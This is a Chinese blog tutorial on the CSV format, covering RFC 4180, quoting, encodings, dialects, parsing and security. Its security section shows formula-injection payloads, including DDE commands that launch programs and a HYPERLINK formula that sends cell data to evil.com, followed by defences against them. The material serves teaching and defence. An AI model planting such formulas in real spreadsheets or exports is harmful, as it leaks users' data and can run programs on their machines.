CSV 知识小课堂:从入门到精通,一文吃透逗号分隔值

第六节课高效复盘法:白纸复现+卡片整理,把课堂知识变成自己的 学习新知识后,大脑会在24小时内遗忘大量细节,尤其是课程进入综合应用阶段时,零散笔记往往难以支撑有效复习。对抗遗忘的关键不是反复翻看,而是主动提取——通过回顾、复述和结构化整理,把短时记忆转化为长期知识。常见的实践包括限时回忆、双栏笔记、一页一主题的课程卡片,以及串联前后知识的脉络图。这些方法适用于编程、语言学习、备考等各类场景,能显著提升复习效率。本文以一门Python数据处理课的第六节课为例,具体展示了如何利用课后黄金15分钟进行白纸复现,并借助卡片整理、改题训练和串讲,将零散知识点整合成可检索的知识体 阅读详情

CSV 看似简单,实则暗藏玄机。从 RFC 4180 规范到多字节编码陷阱,从流式解析百万级数据到公式注入式 CSV 攻击,这篇小课堂带你深入 CSV 的每一个角落。


一、CSV 到底是什么?

CSV(Comma-Separated Values,逗号分隔值)的分隔思想可追溯到早期计算机的穿孔卡片数据交换,1972 年 IBM Fortran IV 编译器已原生支持逗号分隔的数值输入输出,是最早的标准化实现之一。它比 1998 年发布的 XML 1.0 标准早 26 年,比 2001 年正式规范的 JSON 早近 30 年。它并非由单一标准组织从零定义,而是在工业界实践中逐步形成的事实标准,至今已沿用超过半个世纪。

核心定位
维度说明
设计哲学最小表达力原则:能不用引号就不用,能不用转义就不转
数据模型严格的二维表:行 × 列,不支持嵌套,不支持多值单元格
类型系统无原生类型系统,所有字段本质上都是字符串
编码假设历史上默认 ASCII,现代生产场景必须使用 UTF-8
换行歧义\r\n(Windows)、\n(Unix/Linux/macOS)、\r(旧版 Mac OS)三种都可能出现
元数据无内置 Schema,字段含义、数据类型完全依赖上下游约定
核心特点深度解读
特点表面理解深层陷阱
📦 极简轻量无标签冗余,文件体积小缺少元数据与类型约束,列含义只能靠文档约定
🌐 跨平台兼容几乎所有系统、软件都能打开不同地区、不同版本的表格软件对分隔符、编码、换行的处理截然不同
📊 表格直观行列结构清晰,符合人类阅读习惯无法表达树形、图状、嵌套等复杂数据结构
🛠️ 易于解析简单场景用字符拆分就能处理一遇到引号包裹、字段内换行、逗号嵌套就会解析错位
📝 人类可读纯文本格式,通用编辑器即可查看百万行以上的大文件用普通编辑器打开会直接卡死
🔗 广泛支持数据库、编程语言、办公软件全生态支持方言版本众多,同名“CSV”文件之间可能互不兼容

二、CSV 格式规范:RFC 4180 深度解析

2005 年发布的 RFC 4180 是目前最被广泛认可的 CSV 格式规范,但需要明确:它属于信息性(Informational)RFC,而非强制的互联网标准,本质是对当时业界普遍实践的归纳总结,不具备强制约束力——这也是 CSV 方言泛滥的根本原因。

2.1 完整形式化定义(ABNF)
file        = [header CRLF] record *(CRLF record) [CRLF]
header      = name *(COMMA name)
record      = field *(COMMA field)
name        = field
field       = (escaped / non-escaped)
escaped     = DQUOTE *(TEXTDATA / COMMA / CR / LF / 2DQUOTE) DQUOTE
non-escaped = *TEXTDATA
COMMA       = %x2C    ; 逗号
CR          = %x0D    ; 回车符
DQUOTE      = %x22    ; 双引号
LF          = %x0A    ; 换行符
CRLF        = CR LF   ; 标准换行
TEXTDATA    = %x20-21 / %x23-2B / %x2D-7E  ; 可打印 ASCII 字符(不含双引号)

CSV知识小课堂:从入门到精通,一文吃透逗号分隔值 (1)

2.2 关键规则逐条拆解
规则编号规则内容违反后果
R1每条记录位于单独一行,以 CRLF 换行符分隔Unix 系统生成的 LF 换行文件,在部分老旧 Windows 软件中会显示为一整行
R2可选的标题行,格式与普通记录完全一致部分文件无标题行,若解析器默认按有表头处理,会把第一行数据当作列名
R3标题行和所有记录行的字段数量必须相同字段数不一致时,多数解析器会静默截断多余列,或给缺失列补空值,导致数据错位
R4字段之间以半角逗号分隔欧洲地区常用分号作分隔符,TSV 用制表符,日常也都被泛称为“CSV”
R5每个字段可选择是否用双引号包裹混用引号风格、半包裹字段会导致解析歧义
R6包含换行、逗号、双引号的字段,必须用双引号整体包裹忘记包裹会直接导致字段拆分错误、行列错位
R7双引号字段内部的双引号,必须转义为连续两个双引号错误转义会导致引号提前闭合,后续数据全部解析错乱
R8文件末尾的最后一行记录,可以不带结尾换行符严格实现的解析器可能报错,多数工具会兼容

三、引号与转义的七种地狱场景

CSV 的引号规则是上下文敏感的,同一个字符在字段内、字段外、引号内、引号外的含义完全不同,这也是手写解析器最容易出错的地方。

3.1 场景对照表
场景原始数据CSV 表示说明
普通字段hellohello无特殊字符,无需引号包裹
含逗号a,b"a,b"逗号与分隔符冲突,必须用引号包裹
含换行a\nb"a\nb"字段内换行必须用引号包裹,否则会被拆成两行
含引号say "hi""say ""hi"""内部双引号转义为连续两个双引号
首尾空格hello" hello "不包裹引号时,部分解析器会自动修剪首尾空格
纯数字字符串00123="00123"Excel 专属语法:强制按文本显示,防止前导零丢失;非标准特性,跨工具兼容性差
空字段空值 / 空字符串,, 或 ""连续逗号表示空值,双引号包裹表示空字符串,部分解析器会将二者等同处理

通用替代方案:对于前导零、长数字等需要保留为文本的字段,更稳妥的方式是直接用双引号包裹,同时在业务侧约定该字段为文本类型,不做自动数值转换。

3.2 复杂嵌套示例
评论ID,用户名,评论内容,点赞数
1,张三,"这部电影太棒了!
尤其是那句台词:""生活就像一盒巧克力""
真的触动人心。",128
2,李四,"价格有点贵,但是值这个价",45
3,王五,"他说""我不确定"",然后走开了",67

解析后的数据结构:

评论ID用户名评论内容点赞数
1张三这部电影太棒了!\n尤其是那句台词:"生活就像一盒巧克力"\n真的触动人心。128
2李四价格有点贵,但是值这个价45
3王五他说"我不确定",然后走开了67

四、编码与 BOM:国际化噩梦

CSV 本身没有任何字段标识自身编码,完全依赖解析者猜测,这是跨地区、跨系统交换时最常见的坑。

4.1 编码问题全景
编码特点适用场景核心陷阱
ASCII仅支持英文字符与符号纯英文的极简数据中文、特殊符号直接变为乱码
UTF-8国际通用,变长编码,兼容 ASCII现代系统、互联网应用首选旧版 Windows Excel 无法识别无 BOM 的 UTF-8
UTF-8-BOM带 3 字节 BOM 头 EF BB BF专门用于 Excel 交互的 UTF-8Unix/Linux 命令行工具可能把 BOM 当作普通数据处理
UTF-16 LE/BE双字节固定宽度,带 BOMWindows 系统内部格式文件体积约为 UTF-8 的 2 倍,跨平台兼容性差
GBK/GB2312中文双字节编码国内老旧系统、政务/银行导出国际化环境、非中文系统下完全乱码
ISO-8859-1西欧语言单字节编码欧洲遗留系统完全无法表示中文字符
4.2 Excel 的编码行为

Windows 版 Excel:

  • 打开无 BOM 的 UTF-8 CSV:调用系统默认编码(简体中文为 GBK)解析,中文出现乱码
  • 打开带 BOM 的 UTF-8 CSV:正确识别 UTF-8 编码,中文显示正常
  • 保存 CSV 文件:默认保存为 ANSI(GBK)编码,跨平台打开可能再次乱码

macOS 版 Excel:
对 UTF-8 兼容性优于 Windows 版,多数无 BOM 的 UTF-8 文件可正常识别,但为了全平台兼容,仍推荐带 BOM 的 UTF-8 作为 Excel 交互标准。

通用解决方案: 生成面向 Excel 的 CSV 时,在文件头部写入 UTF-8 BOM 字节序列,可让 Excel 正确识别 UTF-8 编码,避免中文乱码。


CSV知识小课堂:从入门到精通,一文吃透逗号分隔值 (2)

五、方言大全:世界各地的"CSV"

CSV 的“C”常被泛化为“Character(字符)”,只要是单字符分隔的二维文本格式,日常都可能被称作“CSV”,不同地区、不同领域形成了多种主流方言。

方言名称分隔符引号字符标准换行小数点符号典型使用地区/场景
标准 CSV,"\r\n.国际通用、RFC 4180 定义、互联网场景
欧洲分号 CSV;"\r\n,德国、法国、意大利等欧洲国家(因区域设置中小数点为逗号,分隔符改用分号)
TSV(制表符分隔)\t"\n.生物信息学、Linux 命令行工具、大数据导出
PSV(管道分隔)|"\n.字段包含大量逗号/分号的场景,如日志、医疗数据
简体中文 Excel CSV,"\r\n.简体中文 Windows 版 Excel 默认导出,编码通常为 GBK

一个经典坑:德国 Excel 保存的“CSV”文件,用美国 Excel 打开会整列错位——因为分隔符从逗号变成了分号,而软件会自动读取系统区域设置的“列表分隔符”来解析。


六、高级解析技术

6.1 流式解析:处理 GB 级大文件

一次性将整个 CSV 加载到内存会直接导致内存溢出,必须采用逐行迭代的流式处理方案。流式解析的核心原理是基于文件句柄逐行读取、逐行处理,处理完成的行立即释放内存,全程内存占用稳定在 KB 级,可支持 GB 甚至数十 GB 级的超大文件。

适用场景:日志分析、数据库批量导入、大数据集预处理等。

6.2 类型推断与转换

CSV 本身无内置类型系统,所有字段本质都是字符串。业务应用中通常需要根据字段含义手动做类型映射与转换,将字符串转为整数、浮点数、布尔值、日期时间等业务类型。

自动类型推断的核心风险:

  • 长数字(身份证号、订单号)被转为科学计数法,末尾精度丢失
  • 以 0 开头的编码类字段丢失前导零
  • 日期字符串被自动转为序列号,原始格式丢失
  • 纯数字字符串被静默转为数值,后续业务逻辑出错

最佳实践是显式指定每个字段的目标类型,不依赖工具的自动推断。

6.3 处理畸形 CSV

现实中大量 CSV 文件不符合 RFC 规范,常见问题包括:字段数量不一致、引号未闭合、字段前存在多余空格、换行符混乱、转义错误等。

通用容错处理手段:

  • 自动忽略字段前的多余空格
  • 对多余字段统一收纳,对缺失字段补空值
  • 兼容多种换行符格式
  • 严格模式下直接报错,宽松模式下尽力修复解析

不建议手写畸形 CSV 解析逻辑,应使用成熟的专业解析工具。


七、CSV 安全:被低估的攻击面

7.1 CSV 公式注入攻击(Formula Injection)

也叫 CSV Injection,攻击者在 CSV 字段中注入电子表格公式,当用户用 Excel、WPS 等表格软件打开文件时触发恶意逻辑。
CSV知识小课堂:从入门到精通,一文吃透逗号分隔值 (3)

攻击示例:

用户名,金额
=cmd|'/C calc'!A0,1000
+HYPERLINK("http://evil.com?data=" & A2, "点击查看详情"),3000
@SUM(A1:A10)*cmd|' /C notepad'!A0,2000

风险现状:

  • 早期 Office 版本支持 DDE(动态数据交换)协议,特定格式可直接调用系统程序执行命令。自 Office 2016 起,微软默认禁用了不受信任文件的 DDE 请求,直接命令执行的攻击在新版 Office 中已基本失效。
  • 现存主要风险:
    1. 数据窃取:通过超链接公式将单元格内的敏感数据(手机号、身份证、密钥)作为参数发送到攻击者服务器
    2. 钓鱼诱导:构造虚假提示文字,诱导用户跳转钓鱼网站、启用文件宏
    3. 兼容风险:旧版 Office、第三方表格软件仍可能存在类似执行风险

通用防御原则:

  • 对用户可控、不可信来源的字段,若以 =、+、-、@、制表符、回车 等危险字符开头,在字段前追加单引号强制按文本解析,阻止公式执行
  • 导出面向公众的 CSV 时,统一做公式注入风险检测与清洗
  • 提示用户不要随意打开来源不明的 CSV 文件,不要启用其中的宏、外部链接
7.2 其他安全风险
风险类型描述防御方案
BOM 伪造攻击伪造 UTF-8 BOM 头诱导程序用错误编码解析,绕过关键字检测显式指定编码,不依赖 BOM 自动识别
换行注入在字段内注入换行符伪造新记录行,插入恶意数据输出时自动转义特殊字符,严格校验引号包裹规则
引号炸弹构造只有开头引号、没有结尾引号的超长字段,导致解析器持续读取耗尽内存设置单字段最大长度、单行最大长度限制
资源耗尽构造 GB 级单字段、无限嵌套的畸形数据,触发缓冲区溢出解析前校验文件结构,设置资源占用上限
路径遍历导出文件名包含路径穿越字符,写入任意位置对文件名做白名单校验,过滤特殊字符
NUL 字符截断字段中插入空字符,导致部分解析器截断后续内容过滤不可见控制字符

八、CSV 与主流格式深度对比

特性CSVJSONXMLParquetExcel
数据模型二维表树/对象结构树/文档结构列式存储二维表 + 公式/图表
嵌套支持❌ 不支持✅ 原生支持✅ 原生支持✅ 支持复杂类型⚠️ 有限支持
数据类型❌ 无(全为字符串)✅ 6 种原生类型⚠️ 需 XSD 定义✅ 丰富类型系统✅ 丰富类型
Schema 约束❌ 无内置❌ 无(可扩展 JSON Schema)✅ DTD/XSD✅ 内置 Schema✅ 内置
压缩率低(纯文本)中(纯文本)低(标签冗余高)极高(二进制列式 + 编码)中(压缩二进制)
随机读取❌ 必须顺序扫描❌ 需完整解析❌ 需完整解析✅ 支持列裁剪、分片读取✅ 支持单元格定位
流式处理✅ 天然支持⚠️ 需专用流式解析方案✅ 支持 SAX 流式模式❌ 需整块读取❌ 需加载整个文件
人类可读✅ 极佳✅ 良好⚠️ 标签冗余可读性差❌ 二进制不可读⚠️ 需专用软件
查询能力❌ 无原生支持❌ 无原生支持⚠️ 支持 XQuery✅ 配合大数据引擎✅ 内置公式/函数
适用数据量MB ~ 10GB 级(流式)MB ~ GB 级MB ~ GB 级GB ~ TB 级MB 级
典型场景数据交换、日志、数据库导入导出Web API、配置、前端交互企业级配置、文档传输大数据存储、数仓分析办公报表、数据交互

九、CSV 最佳实践清单

✅ 生成 CSV 时
  • 始终优先使用 UTF-8 编码;如需兼容 Excel,使用带 BOM 的 UTF-8
  • 在配套文档中明确说明分隔符、引号规则、换行符类型、编码格式
  • 表头使用英文或无歧义命名,避免特殊字符、空格、换行
  • 日期时间统一使用 ISO 8601 格式
  • 长数字、身份证号、编码类字段强制按文本处理,防止自动类型转换丢失精度
  • 对用户可控、不可信来源的字段,统一做公式注入检测与清洗
  • 大文件使用流式写入,避免一次性构建全量数据到内存
✅ 解析 CSV 时
  • 永远不要手写解析器,使用成熟稳定的专业解析工具
  • 显式指定编码格式,不要依赖系统默认编码
  • 先校验表头与字段数量,处理字段数不一致的异常情况
  • 对数值、日期字段做显式类型转换和范围校验,不依赖自动推断
  • 设置单字段、单行大小上限,防止恶意文件造成内存溢出
  • 处理大文件必须使用流式迭代,禁止一次性全量加载
  • 来自不可信来源的文件,先做安全清洗再进入业务逻辑
❌ 避免这样做
  • 用简单的字符串拆分方法解析 CSV
  • 假设所有 CSV 都用逗号分隔、都使用 UTF-8 编码
  • 依赖表格软件的自动类型转换存储精度敏感数据
  • 在 CSV 字段中嵌套 JSON/XML 等复杂结构
  • 用 CSV 存储二进制数据
  • 把 CSV 当作数据库长期存储大量结构化数据

十、什么时候选择 CSV?

场景推荐格式核心理由
简单表格数据跨系统交换CSV极简通用,全平台原生支持,无额外依赖
Excel 与程序之间互导数据CSV表格软件原生支持,编辑方便
数据库批量导入导出CSV所有主流数据库都原生支持,导入性能高
数据分析与数据集分发CSV生态完善,绝大多数分析工具都能直接读取
结构化日志记录CSV行式结构天然支持追加写入,便于后续分析
REST API 接口响应JSON原生支持类型与嵌套,前端解析友好
复杂配置文件YAML / TOML支持注释、嵌套、数据类型,可读性强
大数据存储与分析Parquet / ORC列式存储,压缩率高,查询性能优异
需要严格数据校验XML + XSDSchema 约束严格,适合企业级规范场景
需要公式计算、图表展示Excel内置计算引擎,办公交互体验好

十一、在线体验

欢迎体验 BugCome CSV 格式化/转换工具,支持:
image


📚 关注 BugCome(bugcome),获取更多开发工具、编程知识与技术小课堂。

一文吃透!DataStage 全面概述与核心知识要点大公开 DataStage 是 IBM 公司精心打造的数据集成工具,在 IBM WebSphere Data Integration Suite 里占据着举足轻重的地位。它主要应用于 ETL(Extract, Transform, Load)流程,也就是数据的抽取、转换与加载。想象一下,企业的数据就像一座庞大的宝藏库,里面有各种各样的宝贝(数据),但这些宝贝可能分散在不同的地方,而且有的还需要打磨(转换)才能真正发挥价值。 阅读详情

相关推荐

CSV文件存储格式:快速保存与Excel兼容

CSV(Comma-Separated Values,逗号分隔值)是一种简单的文本文件格式,用来存储表格数据,包括数字和文本。这种格式便于不同平台和软件之间的数据交换,如数据库、表格处理软件和数据分析工具。CSV的历史可追溯到早期的电子表格程序,那时数据处理需求促使产生了这种简单且广泛支持的格式。随着时间的推移,CSV逐步演变为一种通用的数据交换格式。

weixin_42174098的博客 2209

CSV文件格式详解

CSV文件格式详解

喻师傅的学习笔记 6631

差分逻辑电平——LVDS、CML、LVPECL、HCSL互连

首先了解差分逻辑电平结构,也包括单端逻辑电平常见的逻辑电平_常用的逻辑电平-优快云博客注:ECL >> PECL >> LVPECL演变而来;QDR(Quad Data Rate):四倍数据倍率本文章只涉及差分逻辑电平:LVDS 、LVPECL、CML (高速)(最常用)在任何给定的系统设计中,必须设计驱动器侧和接收器侧之间的时钟逻辑转换。通过在它们之间增加衰减电阻和偏置电路来将一个差分时钟转换为其他类型的差分逻辑,来衰减摆幅电平并重新偏置共模输入接收器。

weixin_45365488的博客 4万+

什么是CSV文件,以及如何打开CSV文件格式

什么是CSV文件,以及如何打开CSV文件格式.

wyxtx的博客 20万+

不用标注数据!用SAM 3零成本搞定遥感图像分割:SegEarth-OV3保姆级上手教程

本文介绍了如何利用SAM 3和SegEarth-OV3实现零标注遥感图像分割,提供从环境配置到结果优化的完整教程。通过开放词汇语义分割技术,用户无需标注数据即可快速获得专业级分割结果,适用于光伏板统计、灾害评估等场景。

weixin_30415113的博客 582

游戏经济数值模型的搭建过程——以标准卡牌游戏为例

一、总体规划 1.玩家分类 首先我们按照下表对玩家进行分类 付费能力即为充值额度;充值行为比如购买月卡/购买钻石;消费行为比如用钻石抽卡 在这里我们假设玩家是理性的,即玩家会以追求更高的性价比为目标进行充值与消费(即小R会优先买首冲+月卡,而不是买一个无用的无属性皮肤) 不同类型玩家之间的差异,实际上就主要由这些行为的差异而决定。 注:早期游戏制作的时候,活跃程度也是区分玩家类型的一个重要依据。不过目前现在游戏中有各种手段抹平了不同活跃玩家的差异(体力限制,活跃时间长的收益递减)..

dudu3332的博客 4228

CSV文件格式详解_csv格式

CSV是一种以逗号分隔的纯文本文件格式,广泛用于存储和交换表格数据。它以行为单位记录数据,每行表示一条记录,字段间用逗号分隔。CSV文件结构简单,兼容性强,支持多种程序和编程语言处理。其优点包括轻量、易编辑和跨平台,但也存在缺乏严格标准、不支持复杂数据等缺点。常见应用场景包括数据交换、存储和分析。在使用时需注意编码统一、分隔符一致性和字段转义等问题,推荐使用专业库进行读写操作以确保数据完整性。

m0_57545130的博客 5193

告别Python依赖!用C++编译PaddleOCR打造轻量级本地OCR工具(附模型选择与性能对比)

本文详细介绍了如何将PaddleOCR从Python迁移到C++平台,打造高性能、低资源占用的本地OCR工具。通过对比Python和C++实现的性能差异,展示了C++在冷启动时间、内存占用和部署便捷性上的显著优势。文章还提供了模型选择、编译配置和优化技巧等实用指南,帮助开发者轻松构建轻量级OCR解决方案。

weixin_28717467的博客 256

理解CSV格式规范(解析CSV必备)

什么是CSV CSV的格式规范 参考于CSV in Wikipedia 参考于RFC 4180 参考于CSV Reader

L.Lawliet的博客 11万+

13个GNS3 3.0.5 appliances设备模板镜像合集:IOSv/L2,IOU L2/L3,以及IOS-XE

13个GNS3 appliances设备模板:IOSv/L2,IOU L2/L3,以及IOS-XE合集

haierccc的博客 1070

OpenOCD入门到精通:第 4 章 配置文件体系详解

本文深入解析OpenOCD配置文件的体系结构和工作机制。首先介绍了配置文件的搜索路径优先级和加载顺序,以及配置阶段与运行阶段的区别。然后详细分析了interface配置文件的适配器参数调优方法,包括ST-Link、CMSIS-DAP和FTDI等常见调试器的配置示例。最后重点讲解了target配置文件的核心结构,包括TAP声明、目标创建和工作区设置等关键步骤,并以stm32f1x为例展示了完整的配置流程。通过本文可以全面了解OpenOCD配置文件的分层设计理念和参数化配置方法。

从事嵌入式linux android驱动开发,拥有全栈能力 594

大模型入门必备】一文吃透 RAG:从基础概念到综述解析,避坑指南在此!

大模型入门必备】一文吃透 RAG:从基础概念到综述解析,避坑指南在此!

AI大模型的博客 1087

BACnet协议栈基本对象BI、BO、AI、AO、AV以及device和File对象介绍

BACnet协议栈基本对象BI、BO、AI、AO、AV以及device和File对象介绍

shufawangzhang的博客 3986

RAGflow分片与解析终极指南(超详细),从入门到精通,吃透这篇就够了!

在使用智能系统处理海量文档时,你是否遇到过这样的困扰:输入问题后,得到的答案要么答非所问,要么信息碎片化,无法精准命中需求?其实,这背后很大程度上是知识切片环节出了问题。而 RAGflow 的分片策略,就像是一把精准的 “手术刀”,能巧妙解决这些难题,让知识检索变得既精准又高效。

xx_nm98的博客 2387

012、乘累加单元(MAC):NPU中最基本的计算单元

本文深入剖析了神经网络处理器(NPU)中的核心计算单元——乘累加单元(MAC)。作者通过实际调试案例揭示了MAC单元设计中的关键问题:定点数格式对齐、累加器位宽陷阱、流水线优化和多MAC同步方案。重点讨论了INT8量化中的边界条件处理、偏置项截断风险以及零值检测等实战经验,并提供了三点实用建议:建立精确的C模型、参考RISC-V P扩展指令集、仔细审查芯片规格书。文章强调硬件加速的实际瓶颈往往在于数据搬运而非计算单元本身,为NPU开发者提供了宝贵的工程实践参考。

m0_50546716的博客 298

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

LangChain框架入门10:一文带你吃透文档加载器

本文介绍了LangChain中的文档加载器组件,重点讲解了如何加载和处理不同格式的文档。主要内容包括: 文档加载器的作用是将各种格式文档转换为Document对象,LangChain提供了多种内置加载器支持CSV、JSON、PDF等格式 Document文档类包含page_content和metadata两个核心属性 以UnstructuredMarkdownLoader为例演示了文档加载过程及参数配置 通过继承BaseLoader类实现自定义聊天记录加载器,满足特定业务需求。

weixin_42899466的博客 1128

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

一文彻底吃透自动化测试框架所有知识

在任何行业中,自动化通常被解释为自动处理流程,而这些流程几乎不需要人工干预。在软件行业,测试自动化意味着使用许可版本或开源的自动化工具对软件应用程序执行各种测试。用技术术语来说,测试自动化框架是一组定制的交互式组件,它们有助于执行脚本化测试和全面报告测试的结果。

m0_70669463的博客 505

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

Python学习路径规划:从入门到精通的三大经典书籍指南

在编程学习过程中,选择合适的教材是构建扎实知识体系的关键一步。Python作为一门语法简洁、应用广泛的高级编程语言,其学习路径通常遵循从基础语法掌握到高级特性理解,再到工程实践应用的递进逻辑。理解Python的核心设计哲学和数据结构原理,能够帮助开发者编写出更高效、更优雅的代码,这是提升技术价值的重要体现。在实际应用场景中,无论是数据分析、Web开发还是自动化脚本,都需要将语言特性与具体问题解决方案相结合。本文围绕Python学习这一核心主题,结合**学习路径**和**实战项目**两个关键维度,系统分析了三

weixin_30294295的博客 327

Python读写CSV全攻略:从标准库csv到pandas实战与编码坑解析

在数据处理与交换领域,CSV作为一种极简的纯文本表格格式,始终扮演着跨语言、跨系统数据桥樑的角色。很多开发者最初习惯用字符串split方法解析CSV,却因字段内逗号、引号、换行而频频出错。事实上,Python标准库csv模块已经实现了完整的解析逻辑,能自动处理引号转义和分隔符识别。同时,对于清洗、聚合和大型文件处理,pandas的read_csv与to_csv提供了更高阶的解决方案。从环境配置、虚拟环境隔离,到中文编码(UTF-8-SIG、GBK)、Excel打开乱码、空行问题,再到分块读取与数据库导入注意

weixin_31188927的博客 257

一文吃透Scrapy:从本质到实战,揭秘商用爬虫的核心框架

摘要: Scrapy是一个强大的开源Python爬虫框架,其核心价值在于提供工程化爬虫开发所需的完整解决方案。与requests等简单工具不同,Scrapy内置了并发控制、自动去重、重试机制等关键功能,大幅提升开发效率。本文通过实战案例展示了Scrapy的项目结构和使用方法,包括数据字段定义(items.py)、核心爬取逻辑(spiders/blog.py)和数据存储管道(pipelines.py)的实现。作为纯Python代码集合,Scrapy完全开源透明,适合从简单到复杂的各类爬虫项目,是商用爬虫开发的

2603_95532426的博客 2372

Claude从入门到精通 01,基础入门篇:初识 Claude,玩转基础交互

本文为Claude AI工具的新手入门指南,从注册使用到核心交互技巧全面解析。文章首先介绍Claude作为智能对话助手的特点与适用场景,包括内容辅助、文件分析等实用功能。详细讲解5分钟快速上手的注册流程和界面布局,重点分享3个核心交互技巧:明确指令、多轮追问和文件上传功能。针对新手常见问题提供解决方案,并设计3个实操练习任务。最后强调保持轻松心态,循序渐进掌握工具,帮助用户快速跨越AI使用门槛,提升工作学习效率。

码路同行 3746
上一篇: XML 知识小课堂
下一篇: 一文吃透 Avalonia 布局容器|Grid 到 UniformGrid 核心用法 + 语法糖实战
bugcome_com
博客等级 码龄3年 32粉丝 131原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

bugcome_com

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值